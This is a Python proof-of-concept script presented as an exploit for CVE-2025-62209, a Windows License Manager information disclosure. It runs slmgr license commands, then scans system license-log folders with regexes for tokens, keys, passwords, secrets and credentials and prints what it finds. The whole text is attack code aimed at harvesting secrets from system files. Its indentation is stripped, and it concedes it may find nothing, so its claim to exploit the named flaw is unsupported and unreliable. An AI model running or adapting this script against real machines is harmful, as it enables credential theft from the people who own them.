# CVE-2025-62209 PoC - Windows License Manager Information Disclosure
# This PoC demonstrates local information disclosure via log file
import subprocess
import os
import re
def check_license_manager_logs():
"""
Check Windows License Manager logs for sensitive information
"""
log_paths = [
r"C:\Windows\System32\spp\logs",
r"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SoftwareProtectionPlatform",
r"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SoftwareProtectionPlatform"
]
sensitive_patterns = [
r"token[:\s]+[A-Za-z0-9+/=]{20,}",
r"key[:\s]+[A-Fa-f0-9]{32,}",
r"password[:\s]+\S+",
r"secret[:\s]+\S+",
r"credential[:\s]+\S+"
]
findings = []
for log_path in log_paths:
if os.path.exists(log_path):
for root, dirs, files in os.walk(log_path):
for file in files:
if file.endswith('.log'):
file_path = os.path.join(root, file)
try:
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
for pattern in sensitive_patterns:
matches = re.findall(pattern, content, re.IGNORECASE)
if matches:
findings.append({
'file': file_path,
'pattern': pattern,
'matches': matches
})
except Exception as e:
print(f"Error reading {file_path}: {e}")
return findings
def trigger_license_check():
"""
Trigger license manager operations to potentially generate logs
"""
commands = [
"slmgr /dli",
"slmgr /xpr",
"slmgr /cktc",
"cscript //nologo %windir%\system32\slmgr.vbs /dli"
]
for cmd in commands:
try:
subprocess.run(cmd, shell=True, capture_output=True, timeout=10)
except Exception as e:
print(f"Command failed: {cmd}, Error: {e}")
def main():
print("CVE-2025-62209 PoC - Windows License Manager Information Disclosure")
print("=" * 70)
print("\n[1] Triggering license manager operations...")
trigger_license_check()
print("\n[2] Scanning license manager logs for sensitive information...")
findings = check_license_manager_logs()
if findings:
print(f"\n[!] Found {len(findings)} potential sensitive information leaks:")
for i, finding in enumerate(findings, 1):
print(f"\n Finding #{i}:")
print(f" File: {finding['file']}")
print(f" Pattern: {finding['pattern']}")
print(f" Matches: {finding['matches'][:3]}...") # Show first 3 matches
else:
print("\n[+] No obvious sensitive information found in logs")
print(" Note: This may require specific conditions to trigger")
print("\n" + "=" * 70)
print("Note: This PoC checks for information disclosure patterns in logs")
print("Actual exploitation requires specific trigger conditions")
if __name__ == "__main__":
main()